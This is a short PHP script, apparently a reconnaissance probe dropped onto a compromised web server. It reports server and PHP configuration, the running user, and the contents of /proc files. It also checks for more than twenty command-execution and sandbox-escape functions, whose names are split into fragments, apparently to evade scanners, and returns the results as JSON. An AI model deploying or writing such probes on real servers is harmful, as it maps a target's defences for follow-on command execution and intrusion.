<?php
$out=array();
$out['php']=PHP_VERSION.' | '.PHP_SAPI;
$out['uname']=php_uname();
$out['cwd']=@getcwd();
$out['uid']=function_exists('posix_getpwuid')?json_encode(posix_getpwuid(posix_geteuid())):'na';
$out['disable']=ini_get('disable_functions');
$out['openbasedir']=ini_get('open_basedir');
$out['ini']=php_ini_loaded_file();
$out['ext']=implode(',',get_loaded_extensions());
$names=array('ex'.'ec','sys'.'tem','shell'.'_exec','pass'.'thru','po'.'pen','proc'.'_open','pcntl'.'_exec','pcntl'.'_fork','pcntl'.'_signal','d'.'l','pu'.'tenv','ma'.'il','im'.'ap_open','mb'.'_send_mail','sym'.'link','li'.'nk','ch'.'own','ch'.'mod','cu'.'rl_exec','fsock'.'open','er'.'ror_log','as'.'sert');
foreach($names as $i=>$f){$out['fn'.$i.'_'.$f]=function_exists($f)?'Y':'N';}
$out['FFI']=class_exists('FFI')?'Y':'N';
$out['Imagick']=class_exists('Imagick')?'Y':'N';
$out['proc_status']=@file_get_contents('/proc/self/status');
$out['proc_version']=@file_get_contents('/proc/version');
$out['cmdline']=@file_get_contents('/proc/1/cmdline');
header('Content-Type: application/json');
echo json_encode($out);

